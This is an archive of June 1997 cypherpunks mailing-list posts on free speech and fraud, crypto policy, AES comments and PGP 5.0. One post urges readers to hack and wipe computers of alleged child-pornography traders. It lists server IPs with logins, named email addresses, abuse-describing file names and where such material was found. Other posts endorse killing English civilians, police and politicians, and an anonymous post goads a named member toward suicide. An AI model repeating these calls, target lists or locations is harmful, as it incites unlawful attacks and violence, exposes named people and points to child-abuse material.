q9PnL+pSC41IIheRBJFzpKGD3LW9+VQwRAx9bXFJYyOFpx7vGJqJAJUCBRAwLhaV
fjuD7tLfgD0BAYnfA/0XByiiqDX/cxgWt9syiobJ0TrTKloJcEgzxnKmqHH7rhqn
wWGQA2pbWPGW1AwLtkeE+JYyk21YQZZxYWerK3JUi8a/ye4EaaJSs8mcw9YCwdPC
Xa0nlalh09/FBEt83l5auNbw+zl9AcrOIGsTQcAr0Vy5nnV9IEfi6WZ3/aQ734kB
FQMFEC/gRoaxVzBJFqEkZQEBEXcIAI6z9nUinIomouzB/3v1Fu9+kLOLiva+7Mp1
8UT40FXvHSabXe/cSV1//lnlYHJnfpJCPFSEjGox1pVBp9pLmiJBmubLfUrojIAn
FDB081n6kB0B4BKb2rUiNghvT4CzpBZ149g/2NGscRIeQOCYkA2cBxT44v2luuqN
3Ahg9bWu+kjnxUKIK9Da/8D0ur5HiinBDevPiVf3/uoOdZ8F7alxqitBcC5ctIYR
tr8fgdQq8is6dbeNxDMraV5vEpEN27AU4xOetymdFUufbU1K6Riw5TVZni9qXAgU
ZS3zyFw7wqJ/SWILMWp+99ss921b+GpL+/m6S4j7LTXvFvcfy9aJAJUDBRAv2A0p
Kci4nVVqSmcBAcfoA/9Pt3BeJ3TdTtQzb9DNT7LoXiQesYG68lzIl7BZsRvXoi2Q
yeCPNc/juTGBnKBHgxZezJCW8TaKdJjNEncv7p+1o+9fwmy9UKWXskh6N+Y0ZlhJ
bD0T+8+L+Wxpr6k3dao/GfOnCvw8vpvzDV9lnjtqe2B1mU5eAY76FFtZXvM9xw==
=xN9o
-----END PGP PUBLIC KEY BLOCK-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Mon, 9 Jun 1997 23:12:39 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Fraud and free speech
In-Reply-To: <v03102804afc0fc8e1db0@[207.167.93.63]>
Message-ID: <199706090408.XAA13740@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <v03102804afc0fc8e1db0@[207.167.93.63]>, on 06/08/97 
   at 05:27 PM, Tim May <tcmay@got.net> said:

>At 4:14 PM -0700 6/8/97, William H. Geiger III wrote:

>>Well I would have to dissagre. Advertisements should be covered under
>>contract law as verbal contracts. If I advertise that "X" does "Y" but it
>>really does "Z" then this is clearly fraudulent behavior.

>When I was growing up, advertisements that a product would make one
>attractive to women, for example, were treated as marketing jive. And we
>were all taught the old saw, "If Johhny told you to jump off a cliff,
>would you?" (This along with "sticks and stones" formed the basis of my
>proto-libertarian view.)

>An advertisement is a tease, not a promise. If a advertisement for a
>Pentium says it will run Macintosh software and run it at 600 Mhz, the
>proper response is skepticism, not demanding a law be passed to stop such
>advertisements.

>The key lies in proper contracts, not in regulating speech.

>(Oh, and it almost goes without saying that the same "lies" William and
>others are so worried about in "commercial" speech happen all the time in
>non-commerical speech. For every example of where commercial speech
>involves lies or fraud, I can find similar or fully equivalent
>non-commercial examples, ranging from lies like "I love you" to get a
>partner into bed to deliberate misstatements to mislead an opponent. Why
>should such "lies" be protected while putatively commercial speech is to
>be subjected to an increasing number of limitations?)

So what you are saying that if I call up Widgits, Inc. and order product
"X" that they advertizes does "Y". They instead send me product "X" that
does "Z" not "Y" then I should have no recource? I should atleast be able
to get my money back as they have not sold me the product that they
claimed to be selling (clear violation of the "contract" between buyer and
seller).

I have no problem with them saying their product does "Y" but if I spend
my hard earned money on it then it best do what they say it does. 

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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Version: 2.6.3a
Charset: cp850
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Mon, 9 Jun 1997 10:07:56 +0800
To: cypherpunks@toad.com
Subject: Re: Dems Critique Crypto Policy
Message-ID: <199706090157.VAA27750@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain



John Young wrote:
                        ADDITIONAL MINORITY VIEWS
> 
>                                    John Conyers, Jr.
>                                    Rick Boucher.
>                                    Zoe Lofgren.
>                                    Maxine Waters.
>                                    William Delahunt.
>                                    Martin T. Meehan.
>     We need to be honest about this situation. We don't expect
> most narcotics traffickers, terrorists, or criminals to respect
> export restrictions on encryption when they don't respect our
> underlying drugs or weapons laws. And we don't generally expect
> anyone who employs encryption in furtherance of a crime to
> readily give their keys to some third party so they may be made
> available to the government.

  The government doesn't expect it, either.
  As a matter of fact, they are probably sitting back laughing their
asses off over your eloquent statements of logic which any rational
person could reproduce if they weren't programmed to feed unthinkingly
off of government media sound bytes.

  All of your points are well-taken and they will make no more 
difference than similar ones have made in the past. You will speak
your mind politely while the government goes about usurping the few
remaining privacies and freedoms we have.
  In the meantime, the nation is keeping busy bemoaning the fact 
that not everyone is going to be so polite in their protest of
the government assault on the liberty and freedom of the citizens.
The nation is busy venting their rage on a government mandated
monster, as always, instead of admitting that there is a much
greater monster in our midst which is slaying more of our citizens
in a variety of ways than McVeigh could ever dream of.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Mon, 9 Jun 1997 10:40:38 +0800
To: cypherpunks@toad.com
Subject: Re: Fraud and free speech
Message-ID: <199706090223.WAA29211@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:
> 
> At 5:51 AM -0700 6/8/97, William H. Geiger III wrote:
> >Well I think that there are some that would confuse the issue between 1st
> >Amendment free speech and the issues surrounding fraud. Especially those
> >in government who write the laws that regulate commercial speech.
> 
> The mistake has been to extend "fraud" laws to non-contract situations,
> e.g., ordinary speech (as distinguished from contracts).

  Any time that you see a thread in which Kent Crispin accuses someone
of trying to "muddy the waters" you can pretty much guarantee he is
trying to throw a logical curveball of his own.
  Kent added some tripe to the thread supporting his favorite theme,
which is that it is the job of government to "enforce" contractual
agreements. Naturally, he also extends the format of these contracts
to include government authority to enforce criminal penalties for
statements made by the great grandfather of the second cousin of the
spouse of one of the person making the contract.
  Follow any thread after a Crispin post and you will find people
arguing over issues he raises which have little basis in reality.

> Contracts, with clearly stated conditions and with judgeable or
> falsifiable/testable conditionals, are a matter for the courts (private
> courts, in fact), but vague promises, advertisements, propaganda, etc. are
> not.

  Dimitri wrote a couple of posts which dealt well with the original
concept of two parties agreeing on an arbitrator/judge to settle
contractual disputes (e.g. the court of Prince X) and the following
usurpment of these free-will agreements by people in power who decree
that _they_ are now the only valid arbitrator/judge in contractual
matters.
  We now have a system where if someone breaks agreement with you the
government locks them in a cage where there is no possibility of them
paying you what they are contractually obligated to. The government
doesn't give a fat rat's ass what your desires are for resolution of
the dispute. They are always busy protecting the nebulous "other"
rather than someone real, with a real interest in the situation.

  The government mandates that contractual agreements must be 
settled in a forum where the corporation with an army of lawyers
can bury the attorney that Joe Average picked out of the yellow
pages. When you enter into a contractual agreement with someone who
has a guy named "Big Louie" as arbitrator, however, the government
calls it organized crime.
  Pardon me if I fail to see the distinction.

TruthMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Mon, 9 Jun 1997 22:45:54 +0800
To: cypherpunks@Algebra.COM
Subject: No Subject
Message-ID: <Pine.LNX.3.91.970608215232.1559A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




-----BEGIN PGP SIGNED MESSAGE-----

>>In the same way I do not believe that the sheeple who every 5 years go 
>>out and vote in some corrupt and evil party to power commit a crime 
>>against me, even though they are definitely naive, stupid and brainwashed
>> to believe in the process of demoncracy, and particularly in its current
>> flavour. Remember the NAP, direct acts of agression are the only crimes.
>
>Well I for one do not beleive that only direct acts of agression are the
>only crimes. If I hire a hitman to bump off my wife I am as guilty of the
>murder as the one who pulls the trigger. If he kills off 2 or 3 others in
the process of killing her even I only hired him to kill her I am still
>guilty for the other deaths.

If you are in a group of people, and vote for your wife not to be killed, 
but you are outnumbered and the group have her killed, I would not say 
you were guilty. Similarly if everyone else chose to vote in a poll to 
say "do you want to kill William Geigers wife?" and you abstained, I 
would not say you were guilty.

The paralells between this and a political election are easy to draw.

>The same goes true for governments and their citizens. Citizens "hire"
>governments to do their bidding. If the people want their government to do
>"x" and they do "y" and the people let them continue doing "y" then they
>are just as guilt as the officials in the government. Ofcource you have
>the segmant of the population that support "y" but they are obviously
>guilty.

In that case I would say you were guilty of murder. I do take direct 
action against the government, and so do you, because we have not yet 
removed the state does not mean we are murderers.

>> A government can only conduct its activities with the support of its
>> population. This may be active support or support through inactivity (ie
>> shrugging shoulders and doing nothing).

>Shrugging of shoulders is ignorant and reprehensible but not criminally 
>so. To make an analogy, if I see someone in the street who has been run 
>over by a car and is going to die if I do not fetch assistance, to walk 
>on by would certainly be a callous act, but not criminal.

>Also, often there is very little one can do alone, you are starting to 
>apply democratic arguments here, in that you are saying "if the majority 
>of English people support the occupation of NI kill all English people". 

>Yes that is *EXACTLY* what I am saying. :)
>
>It is up to the people to control their governmnet. If their government
>acts illegaly or immorally and the citizens do nothing to stop them (up to
>and including arm revolt against their government) then they are just as
>guilty as the ones pulling the triggers!!

Yes, but there are several reasons why this cannot currently occur:

1. The UK government has systematically taken action to disarm the 
population, of course, this law can be easily circumvented.
2. The majority of people are too cowardly to take any action, and too 
brainwashed to see the governments evils.  
3. The English do not understand the history of NI, although NI is not 
the only issue which should cause public outcry it is the most obvious, 
and most people simply do not even realise the crimes carried out by the 
British in NI.

>Every English man, woman & child is guilty of the crimes against the Irish
>people and as such are fair game for retalition. 

Perhaps this was only a figure of speech and I am replying to a void 
point but I do not believe, even if we accept citizens are responsible 
for the crimes of the government, that children could be guilty, not that 
is if under voting age, and definitely not if under the age of criminal 
responsibility.

>Perhaps if enough good
>Englishmen get blownup the will finally force their government to stop
>their agression against the Irish.

It is better that a lot of bad Englishmen (such as poloticians, police 
etc.) get killed, they provoke more public sympathy that Joe Sixpack.

>Yes, but the only Germans I believe guilty of crimes were those who 
>directly took action in support of the government, "we were just obeying 
>orders" is no excuse, but not taking action to end the holocaust was no 
>crime. Turning a blind eye, and taking no action, are different things, I
> do not turn a blind eye to the problems in northern Ireland, I recognise
> however that there is nothing I can do to solve this problem, so I 
>concentrate on more productive things.

>Well with that attitude, "there is nothing I can do" is why governments
>get away with what they do. 

Of course, but it is very often true. Of course the German people should 
have revolted and deposed Hitler before WWII even began, the reason they 
did not do so was cowardice, the reason the English do not revolt is 
because they *do not see that the government commits crimes*. To English 
people, the governments acts of brutality in NI are just "protecting the 
people" or "keeping the peace" etc. 
There is a vast difference between persuading people who realise they 
should do something to do it, and persuading people to see things a 
different way. 

>You as a citizen of the UK are responcible for
>the actions of your government. This is a responcibility you can not
>ingnore because it is "too hard" or "too incovienant". It is not only your
>right but your duty to do everything possable upto and including the arm
>overthrowing of your government.

I realise that I, as an citizen of the UK should do something 
from a moral point of view, but, this simply does not suggest to me that 
if I do not do anything I am commiting a crime, this is not a logical 
step of reasoning to me. Whatever the case, I do do something, it isn`t 
yet armed revolt, but I wouldn`t rule that out for the future.

>The majority of citizen-units are too cowardly to take any action even 
>when they see the evils of government, this makes it very difficult for 
>the minority to end this evil, there is definitely strenth in numbers.

>Difficult but not impossiable. I am sure that the IRA would like to launch
>an all out invasion of England and put an end to the whole thing. They are
>too small to do so. So they engage in a policy of "terrorism" against the
>citizens of England who are the true powerbase of the English government.

Yes, but to do so would require the belief and support of most of the 
population, a virtually impossible task in a reasonable space of time. I 
am not saying this is an excuse for inaction, merely stating fact. I 
personally see geurilla warfare methods, selective "terrorism" and 
cryptography, as well as info-warfare as the means by which the state 
will be overthrown, there is no longer a need for large armed revolt. 

>I would imagine that a "man on the street" survey would find that most UK
>citizens support the actions of their government which makes them targets
>even more so.

Yes indeed, the average brainwashed citizen-unit thinks any "violent" act 
of self defence is criminal, recall the British public recently signed a 
petition in massive numbers (something like 10% of the population) for 
the banning of *all* handguns, even for sporting purposes. There are also 
laws in the UK which do not allow citizens to carry any defensive weapon 
whatsoever, these laws kill innocent people.

>This is a blatant and misguided overgeneralisation, I realise that 
>sometimes innocents get killed, I do find this understandable and 
>sympathise with those who feel they can excuse their actions in the name 
>of "war", but the actions of those who kill innocent people to get to the
> guilty are still crimes, and should be treated as such.

>No it puts the responcibility of government actions squarely on the
>shoulders of those who are responcible, the citizens. No government wether
>democracy or dictatorship can survive without a minimum of passive support
>of its citizens. Germany never could have commited its crimes without this
>support, the communist in Russia, not the Japanise. As such they are all
>guilty, not just the ones pulling the trigers.

If you come up to me in the street, hold a gun to my head and tell me to 
move so you can shoot someone behind me, I am going to move. The 
government uses force and coercion to compel its citizens to get out of 
its way and allow it to carry on its evil work. Sure, if I move to allow 
you to shoot the guy I may be cowardly, not guilty though, I see these 
two situations as very similar. 

I don`t think however that I personally can be thought of as guilty, even 
if we do accept for a moment that non-action is a form of consent, civil 
disobediance is an excellent tactic to show the violence of the 
government against peaceful protest, "terrorist" acts simply incur the 
displeasure of the sheeple and make them more determined to support the 
government.

>You can see prime examples of this all throughout Eastern Europe & the
>USSR. The old communist regimes lost popular support and their governments
>proptly collapsed.

This is something I was thinking about a while ago, is there any way we 
can vastly accelarate the governments programme of infringment of rights?
The boiling a frog slowly argument currently applies in that people do 
not see the governments evil, if they moved much further more people 
would open their eyes and see what is happening. Exposing the brutality 
of the state, as gandhi did to great effect, is always useful. Recall 
the fracas in NI over a peaceful Orange order march being banned recently 
(in the end the march went ahead but there was a lot of media coverage).

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 9 Jun 1997 11:36:48 +0800
To: cypherpunks@toad.com
Subject: Re: Responses to "Spam costs and questions" (long)
In-Reply-To: <Pine.LNX.3.91.970608163912.917B-100000@fatmans.demon.co.uk>
Message-ID: <w6F18D37w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Paul Bradley <paul@fatmans.demon.co.uk> writes:
> > Troll: and how about them proposed restrictions on tobacco advertising...
> >
>
> Troll-Response: The UK government has recently proposed a ban on all
> tobacco advertising (should be in place within a few months) including
> sponsorship of sport etc. Time to dust of the barbeque, we`re gonna have
> us a statist roast ;-)...

In China and thereabouts (Mongolia, Malaysia...) tobacco companies are
sponsoring sports events and creating professional sports leagues where
otherwise the market wouldn't bear them.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: se7en <se7en@dis.org>
Date: Mon, 9 Jun 1997 14:32:43 +0800
To: Cypherpunks <cypherpunks@toad.com>
Subject: My War
Message-ID: <Pine.BSI.3.91.970608231331.29324F-100000@kizmiaz.dis.org>
MIME-Version: 1.0
Content-Type: text/plain




Way back when in 1995 when I stopped lurking on this list and became a 
regular poster, one of the things I quickly became known for was my 
on-line harrassment of those who had stepped over the line in one manner 
or another in a way that would ultimately hurt us as a group overall.

Many old-timers here will remember my harrassment of Curtis Sliwa and 
Colin Hatcher of the Cyberangels (a.k.a. Guardian Angels). These were the 
fools who organized a worldwide volunteer police-wannabe force that 
searched out indecency (in the generic and ill-defined sense of the term) 
on the net, which when one dug further into their agenda, found it was 
just a ploy for funding and political power. 

My incessant harrassment led to the revelation of many things, most 
importantly that their leader had never ever been on the WWW, stating 
that he didn't have time to do so. This despite the fact he had time to 
organize a police force to patrol it.

There have been many others since then, most not as evil as the 
Cyberangels. They each had their own reasons for harrassment. Among 
some of them have been Carolyn Meinel, O.J. Simpson, Captain Crunch, and 
Gambit.

As many of you know, I make a living as a professional speaker, with 
federal government, military and intelligence communities as my core 
audience. Let me put any fears anyone may have to rest: my work 
concentrates in Information Technology more than anything else, and if I 
get into hackers and hacking, it is more pro-hacker than anything else. I 
am working to improve our image as a community of talented individuals.

I recently went off on a serious rant with three different audiences on a 
topic I felt was seriously exaggerated/over-hyped/fearmongered/bullshit. 
That topic was child pornography on the Internet. If you believed the 
press, child pornography was all over the Internet and easy to get. This 
brought about even more press and some action by our legislators to 
crack down on the Internet.

I conducted an eight-week long search for child pornography late last 
year in the middle of this hype. I searched for, followed literally tens 
of thousands of links and hacked into pay/private porno servers all over 
the world. My opinion based on my results, which were not having found a 
single picture of child pornography anywhere, was that this whole topic 
was a bunch of bullshit.

Well, that all changed a few days ago. I had asked for a software crack 
in a public USENET forum to override the NT4.0 Server 120 day time limit. 
While never receiving the crack, some idiot from an anonymous address 
sent me a child porn .jpg file. Trust me when I say it was child porn; 
the girl was no older than four years old and was very graphic. I 
immediately deleted all trace of the message/attachment. I was also very 
pissed to say the least that some asshole sent me this.

I looked around on IRC on #teensex, and by whois'ing several operators, 
found more insidious channels. Among them are:

#preteensexpics
#littlegirlsex
#100%preteensexpics
#100%preteensexfuckpics
#!!!!!!preteensexpics

There are many others. I joined several of these channels and found that 
upon entering each one, I was auto messaged about special kiddie porn 
servers dedicated to trading, e.g.,

PreTeenSexPics - FTP at 130.67.80.230 l/p ncc/ncc [|]

I logged onto several of these servers, and upon doing an ls-la found 
directories dedicated, among others, to child pornography. CD'ing into these 
directories listed several hundreds of files such as:

9yoshowr.jpg
8&dad.jpg
4yrfuck.jpg
6thgrade.jpg
6yoanal.jpg

These are some of over several hundreds of files in a single directory on 
a single server. There were dozens of servers. I learned the protocol to 
download on these servers was to uplaod pictures you owned and then the 
operator would give you "credits" of various ratios for downloading, i.e., 
upload two pictures, you get credit to download one picture. I uploaded 
generic garbage pics off of a commercial adult web site, and recived 
credit to download three pics. What I saw wanted to make me physically 
vomit (yes, these pics are long since overwritten with 1's and 0's and 
destroyed). To put any doubts at rest, the material was real and fit the 
names of the files mentioned above.

I was also actively sent private messages by those looking to trade. I 
asked what they had, and the usual response was "anything and 
everything." Some of the more common messages were:

"I have 4-12 year old girls both action or pose."
"I have little boys and girls alone or together."
"I specialize in adults with 4-8 year old girls."

I started logging the channels. I wanted to silently gather IP addresses 
and email addresses. These people needed some genuine hacker terror. 
Among some of the more active and persistent traders were:

(*denotes server in operation)

* SylphFox has a ftp at 206.246.162.183 1:2 ratio, anon login
* <hehe@ts33.dac.pace.edu>
* <kiddie@t2o15p13.telia.com>

<suicide@mail1.arnan.com>
<alexis@broken.dartmouth.edu>
<guinness@broken.dartmouth.edu>
<nexgen@philly158.voicenet.com>
<tuvak@ppp-5200-0403.mtl.total.net>
<Triad@an108.tir.com>
<seeme@star090165.galstar.com>
<domain@port182-tnt-ak-2.ihug.co.nz>
<lewisJ@user-37kb329.dialup.mindspring.com> name: Lewis Johnson
<fungus@infounik.com>
<tk@conc0-a03.conc.tds.net>
<pyro@user-37kb97d.dialup.mindspring.com>
<hat@dialin9001.slip.uci.edu> name: Tuyen Ha
<phostis@har-ct5-03.ix.netcom.com>
<polls@175-203-179.ipt.aol.com>

This log was generated in thirty minutes on #100%preteensexpics. If their 
email address appears above, it indicates they were actively offering 
trades or had servers in operation. These people listed above *were not* 
passive participants in the rooms. This represents only a small sampling 
of the overall people in the room at the time. Average number of people 
in each room varies, but seems to number about 40 people per room.

I logged out of IRC, and then went to USENET, in such rooms as:

alt.binaries.erotica.children.pre-teen

There I found several hundreds upon hundreds of .jpg files of real child 
pornography. Several messages also pointed to some WWW sites, such as:

http://www.nudebooks.com

For someone who took a virtual tour of the kiddie porn world for only one 
day, I had the opportunity to download enough files to fully max out an 
IOmega 100MB ZIP disc. **This is not an exaggeration.** Imagine how much 
could be, and has, been downloaded by those who are regular participants 
in this activity.

Well, this whole situation is unacceptable. First, I would like to 
apologize to all those who have hired me in the past, and were subject to 
my emotional rants about how the whole subject was bullshit and not real. 
It is very real. It is disgustingly real. It is so real it will make you 
want to throw up, and I actually, physically did throw up last night.

Second, in reference to previous conversation over the years on this list, 
and in the hacking community in general, I know this type of activity is 
not tolerated by us. I have given you enough information above to start 
identifying the players in this and the places they congregate. It would 
be my sincere hope that hackers of all abilities would spend a few 
moments each day and put their talents to use against these people.

Yes, I am advocating malicious, destructive hacking activity against 
these people. Who are they going to run to? The police? "They hacked my 
kiddie porn server and rm -rf'd my computer!" Right...the police will be 
so anxious to lock us up left and right.

These people need to be eradicated from the Internet. While that may 
never happen completely, enough harrassment will send a message that 
engaging in this type of activity in very dangerous, and can result in 
serious harrassment, public embarrassment and computer destruction.

This is my war. It will be a public war. I don't care what happens to me 
by their community or by law enforcement. I feel secure enough that no 
jury in the world will convict me for taking these people out. I feel 
secure enough that no law enforcement agency will ever take action that 
would place me in front of a jury. And if by some chance I do end up 
being prosecuted, I know what I did was right.

So, now start the logs of the channels and the actions of those in it. 
Now starts the public postings of these logs in various places on the 
Internet. Now starts the harrassment. Now starts the malicious hacking. 
Now starts the war.

I don't expect people to join me here on this. If you do, you have enough 
information to start. I caution you to log what is going on, and to make 
sure you are hitting the guilty, so no innocent people get annihilated in 
the process. Make damn sure you know who you are hitting and why, and be 
able to back it up with the idea of having to justify your actions in 
front of a jury.

And make *REALLY SURE* that if you do come across files of child 
pornography, that you *OVERWRITE AND DESTROY* these files immediately! 
You wouldn't want to be the one who ends up being prosecuted for being in 
possession of this type of material. I would also recommend getting an 
anonymous email account, such as juno.com, mailmasher.com, hacked, etc., 
so that you can conduct your activities without fear of the inevitable 
retribution of those who actively trade this shit when the heat starts 
getting applied to them.

Of all the people who can help stop this, it is us...hackers. Not law 
enforcement, not the government, not the media. Not anyone. Just us, 
hackers who have the talent to do what no one else can.

Please forward this message freely around the Internet. It is not 
copyrighted in any way, shape, or form.

se7en





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 9 Jun 1997 12:04:38 +0800
To: cypherpunks@toad.com
Subject: AES Comments to NIST
Message-ID: <1.5.4.32.19970609034549.009b7ce0@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



NIST has published the 33 comments received on
the proposed Advanced Encryption Standard (AES)
intended to replace DES. Several are quite extensive.

In addition to those exemplars we've seen here by 
Bill Stewart and Bruce Schneier, there are remarks by 
several crypto luminaries, such as Ron Rivest and 
Clifford Adams (author of CAST), by NSA, by Canada's 
CSE, and by Certicom, 3Com, TIS, MasterCard, the 
ANSI X9 Standards Committee, the ABA and so on.

   http://jya.com/aes-comments.txt  (103K)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Mon, 9 Jun 1997 15:52:24 +0800
To: cryptography@c2.net
Subject: Access to Storage and Communication Keys
Message-ID: <3.0.1.32.19970609000938.00756910@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



The government and its friends have tried for a while to
convince the public that there's a great business market for
access to keys by the Proper Authorities, whether bosses or cops.
A number of us on the Pro-Privacy side have contended that
this is wrong - the business need is for later access to stored files,
not to encrypted communications keys and of course not to signature keys.

Having argued that point vociferously in the past, I'm now going to
waffle on the issue - while the business need is for access to
stored data, this may often include stored messages received from
a communication system in encrypted form.  Either the User Interface
needs to make it convenient to store the decrypted message,
or else the user will store the message in encrypted form -
which means there may be a business need for Proper Authority Access later.

This means, as {cypher,coder,ranter}punks, we need to address
this problem when building crypto tools, to avoid building systems
that create or sustain a business need for access to communication keys.

Some email systems really encourage you to save messages in 
one big hulking undocumented monolithic email box, with subfolders 
and databases and attachments and pointers, and some are a bit more
friendly but still leave bits and pieces of MIME splattered on your disk.
Some of the nicer tools I've used for encrypted file/mail handling
make it convenient to take encrypted incoming mail, decrypt it,
and either view it or save it to a file or clipboard.

I've been using PGP Inc.'s PGP5.0 Eudora Plug-In,
and it decrypts the mail into the mail message buffer itself.
When you finish with that particular message (e.g. go to the next,
or just close it), you get asked it you want to save the modified message,
and if you say "yes" you'll have the decrypted message in your mailbox.
However, there's a negative about this - if you receive mail that's 
signed and encrypted, and save the modified version, it loses the
signature information - so it may be more valuable to save the
encrypted version...


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Mon, 9 Jun 1997 16:00:36 +0800
To: cypherpunks@toad.com
Subject: Re: Fraud and free speech
In-Reply-To: <199706090223.WAA29211@dhp.com>
Message-ID: <19970609002216.62726@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sun, Jun 08, 1997 at 10:23:43PM -0400, lucifer Anonymous Remailer wrote:
> Tim May wrote:
> > 
> > At 5:51 AM -0700 6/8/97, William H. Geiger III wrote:
> > >Well I think that there are some that would confuse the issue between 1st
> > >Amendment free speech and the issues surrounding fraud. Especially those
> > >in government who write the laws that regulate commercial speech.
> > 
> > The mistake has been to extend "fraud" laws to non-contract situations,
> > e.g., ordinary speech (as distinguished from contracts).
> 
>   Any time that you see a thread in which Kent Crispin accuses someone
> of trying to "muddy the waters" you can pretty much guarantee he is
> trying to throw a logical curveball of his own.

The ones you really have to watch out for are my logical spitballs.  
But I am deeply flattered that you take me so seriously.

>   Kent added some tripe to the thread supporting his favorite theme,
> which is that it is the job of government to "enforce" contractual
> agreements. Naturally, he also extends the format of these contracts
> to include government authority to enforce criminal penalties for
> statements made by the great grandfather of the second cousin of the
> spouse of one of the person making the contract.

You are completely misrepresenting me here -- I distinctly said 
"grandmother of the first cousin".  And my favorite theme is from one 
of the Brandenberg Concertos.

>   Follow any thread after a Crispin post and you will find people
> arguing over issues he raises which have little basis in reality.

You have a point there.  You will search in vain for a stitch of 
reality in this post.

> > Contracts, with clearly stated conditions and with judgeable or
> > falsifiable/testable conditionals, are a matter for the courts (private
> > courts, in fact), but vague promises, advertisements, propaganda, etc. are
> > not.
> 
>   Dimitri wrote a couple of posts which dealt well with the original
> concept of two parties agreeing on an arbitrator/judge to settle
> contractual disputes (e.g. the court of Prince X) and the following
> usurpment of these free-will agreements by people in power who decree
> that _they_ are now the only valid arbitrator/judge in contractual
> matters.

It's pointless to reply to Dimitri -- he filters my posts.  Of course 
I would be delighted to engage in a civilized discourse with him, but 
it's impossible.

>   We now have a system where if someone breaks agreement with you the
> government locks them in a cage where there is no possibility of them
> paying you what they are contractually obligated to. The government
> doesn't give a fat rat's ass what your desires are for resolution of
> the dispute. They are always busy protecting the nebulous "other"
> rather than someone real, with a real interest in the situation.

A revealing paragraph, indeed.

>   The government mandates that contractual agreements must be 
> settled in a forum where the corporation with an army of lawyers
> can bury the attorney that Joe Average picked out of the yellow
> pages. When you enter into a contractual agreement with someone who
> has a guy named "Big Louie" as arbitrator, however, the government
> calls it organized crime.
>   Pardon me if I fail to see the distinction.

OK

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Mon, 9 Jun 1997 16:39:10 +0800
To: fredr@joshua.rivertown.net
Subject: Who is an encrypted message for? [PGPtray/Eudora]
Message-ID: <3.0.1.32.19970609005410.0075c738@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



	[Fred, could you forward this to pgp-users?  Thanks.]

PGP 5.0 GUI on Win95 does this for both PGPtray and the Eudora plug-in.
When you want to decrypt a message, it doesn't tell you who the message
is TO when asking you for the passphrase.  Therefore, if you have
more than one user id with different passphrases, you don't know
which one to type in.  

Also, from a security perspective, this is bad, because what you 
do with the contents of a message may be different
depending on who it came to or from - was that mail asking for the
Secret Plans addressed to your individual Work key, your department key,
your home key, or your Illuminati Conspiracy key?

This appears to be Versionb b14c3, though it's not easy to find out,
and I'm not sure if that's the version of PGPtray, PGPkeys, or both...




#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Mon, 9 Jun 1997 08:26:19 +0800
To: cypherpunks@toad.com
Subject: Re: [ADMINISTRATIVIUM] Quadratic residues
Message-ID: <199706090007.CAA10876@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



`A pen is mightier than a sword', not to mention Timmy C. 
May's pea-sized penis. He would be better served by a 
safety razor, possibly applied in a bathtub filled with 
warm water (something he has surely never been into).

      o
  /\O/        O Timmy C. May
 0  \\    | 0-#
    //    |  / \






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Mon, 9 Jun 1997 16:59:55 +0800
To: cypherpunks@toad.com
Subject: Re: Access to Storage and Communication Keys
Message-ID: <199706090812.DAA16258@mailhub.amaranth.com>
MIME-Version: 1.0
